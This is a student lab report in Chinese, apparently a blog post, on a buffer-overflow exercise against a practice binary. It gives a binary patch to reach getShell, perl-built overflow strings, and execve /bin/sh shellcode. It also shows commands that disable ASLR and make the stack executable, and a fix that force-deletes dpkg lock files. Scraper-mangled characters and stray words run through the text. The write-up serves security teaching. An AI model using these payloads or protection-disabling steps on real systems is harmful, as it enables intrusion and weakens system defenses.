NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不作,仅仅当作一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
JNE:条件转移指令,若是不相等则跳转。(机器码:75)
JE:条件转移指令,若是相等则跳转。(机器码:74)
JMP:无条件转移指令。段内直接短转Jmp
CMP:比较指令,功能至关于减法指令,只是对操做数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其余相关指令经过识别这些被影响的标志寄存器位来得知比较结果。linux
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode.。git
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。 注入一个本身制做的shellcode并运行这段shellcode。
运行本来不可访问的代码片断 强行修改程序执行流 以及注入运行任意代码。
(1)经过objdump -d pwn1
对文件进行反汇编,并得到须要的三个信息,以下图:
(2)经过上图可看出,想要直接调用getShell,则须要将main函数中指向foo的地址改变为指向getShell的地址,则经过计算肯定修改项 d7,改成c3便可。修改方式和结果以下:
shell
(3)运行结果如图所示:
注意在16进制文件中寻找e8d7时,应该逐条寻找,即看到e8 就应该观察否则会直接跳到文末没法找到对应值。
安全
(1)经过gdb调试,判断那几个字节覆盖到后面的指令。
由图可知,eip的值为ASCII 5,因此覆盖的字节在后8字节。
(2)肯定构造字序。
由图可看出,覆盖顺序为4321。dom
(3)构造字符串:由于键盘没法输入16进制数,因此使用prel方法,将getShell的内存地址写入输入字符串中
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
ide
(1)首先使用 apt-get install execstack
命令安装execstack。 而后接连输入:函数
execstack -s pwn2016513 //设置堆栈可执行 execstack -q pwn2016513 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space
(2)构造一个字符串:学习
~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
做为测试输入。测试
(3)输入ui
(cat input_shellcode;cat) | ./pwn1
(4)打开另外一个终端。
ps -ef | grep pwn
查询进程号,并使用attach命令调试(在gdb中)
(5)修改输入字符串:
由教程可知应该用
retaddr+nops+shellcode
方式注入
由上图可看出esp为oxffffd21c,则其下一个地址0xffffd220就是所需地址。
修改命令以下:
perl -e 'print "A" x 32;print "\x20\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(6)运行
`(cat input_shellcode;cat)|./pwn20165313
以下图:
E: 没法得到锁 /var/lib/dpkg/lock - open (11: 资源临时不可用)
E: 没法对管理目录(/var/lib/dpkg/)加锁,是否是另外一个包管理程序在使用它?
解决方案:
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock
本次实践我参考了 https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_%E9%80%86%E5%90%91%E4%B8%8EBof%E5%9F%BA%E7%A1%80.md 和学长的报告来作的,初步了解了怎么去利用Bof漏洞,怎么简易地修改和注入shellcode等一系列相关知识。收获很大,但要学的仍是不少。
百度百科:漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可使攻击者可以在未受权的状况下访问或破坏系统。
自我理解:在我看来,漏洞就至关于人的性格上的缺陷(或者能够说是缺少理智的时候)同样,虽然平时不会被注意,但一旦被发现并加以利用,就有可能形成严重后果(好比贪财的大爷大妈被骗钱)。而漏洞一旦被人利用,计算机就会在咱们不知道的状况下泄露咱们的隐私或者须要的计算机资源被破坏,就想那些被骗子牵着鼻子走的受害人同样,在自我未察觉的状况下,蒙受了巨大的损失。